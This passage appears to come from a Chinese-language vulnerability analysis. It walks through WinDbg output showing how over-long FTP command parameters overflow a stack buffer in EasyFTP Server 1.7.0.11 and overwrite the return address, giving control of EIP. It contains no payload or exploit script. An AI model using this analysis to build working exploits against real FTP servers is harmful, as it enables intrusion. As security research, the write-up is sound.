eip=0040bacc esp=0089fb20 ebp=00000003 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ftpbasicsvr+0xbacc:
0040bacc 896c241c mov dword ptr [esp+1Ch],ebp ss:0023:0089fb3c=00000002
0:002> dc ecx
003d4523 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4533 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4543 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4553 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4563 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4573 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4583 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
003d4593 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
可以看到ecx的值改变,会不断获取1字节进行赋值。最后会由于连续拷贝导致缓冲区溢出。
0:002> bp 40bd43
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\16e5d2d9e9e55dcd5b7ec4c2811ca193-easyftp-server-1.7.0.11-en\easyftp-server-1.7.0.11-en\ftpbasicsvr.exe
0:002> g
Breakpoint 0 hit
eax=0089fb54 ebx=0089fcd0 ecx=00000041 edx=00000141 esi=00429fac edi=0089fc64
eip=0040bd43 esp=0089fb20 ebp=00000112 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
ftpbasicsvr+0xbd43:
0040bd43 8a10 mov dl,byte ptr [eax] ds:0023:0089fb54=41
0:002> dd esp
0089fb20 003d4648 003d4150 0089ffb4 00000000
0089fb30 7c930021 0089fcb8 003d4632 00000112
0089fb40 ffc2bae1 00000113 00012017 0089fb68
0089fb50 00000001 41414141 41414141 41414141
0089fb60 41414141 41414141 41414141 41414141
0089fb70 41414141 41414141 41414141 41414141
0089fb80 41414141 41414141 41414141 41414141
0089fb90 41414141 41414141 41414141 41414141
0:002> dd eax
0089fb54 41414141 41414141 41414141 41414141
0089fb64 41414141 41414141 41414141 41414141
0089fb74 41414141 41414141 41414141 41414141
0089fb84 41414141 41414141 41414141 41414141
0089fb94 41414141 41414141 41414141 41414141
0089fba4 41414141 41414141 41414141 41414141
当执行到返回的时候。
0:002> g
Breakpoint 1 hit
eax=0089fcb8 ebx=00000000 ecx=41414141 edx=00000010 esi=003d4150 edi=003d4648
eip=0040c02a esp=0089fc60 ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
ftpbasicsvr+0xc02a:
0040c02a c20800 ret 8
0:002> dd esp
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0089fc60 41414141 003d4520 00000001 003d4150
0089fc70 0089fd58 0089ffb4 00000001 00425360
0089fc80 003d4018 00000000 00425360 003d4520
0089fc90 00000113 00425360 003d4268 00000000
0089fca0 7c92e900 7c930040 ffffffff 7c93003d
0089fcb0 004171f8 003d0000 00425314 00000000
0089fcc0 003d477c 003d4250 003d4260 003d4260
0089fcd0 003d417c 003d4771 00000113 0000011f
0:002> p
eax=0089fcb8 ebx=00000000 ecx=41414141 edx=00000010 esi=003d4150 edi=003d4648
eip=41414141 esp=0089fc6c ebp=0089ffb4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
41414141 ?? ???
老生常谈的话题,由于FTP在接收指令以及指令参数的时候,对于参数的长度没有进行控制,导致拷贝时引发缓冲区溢出,任意代码执行。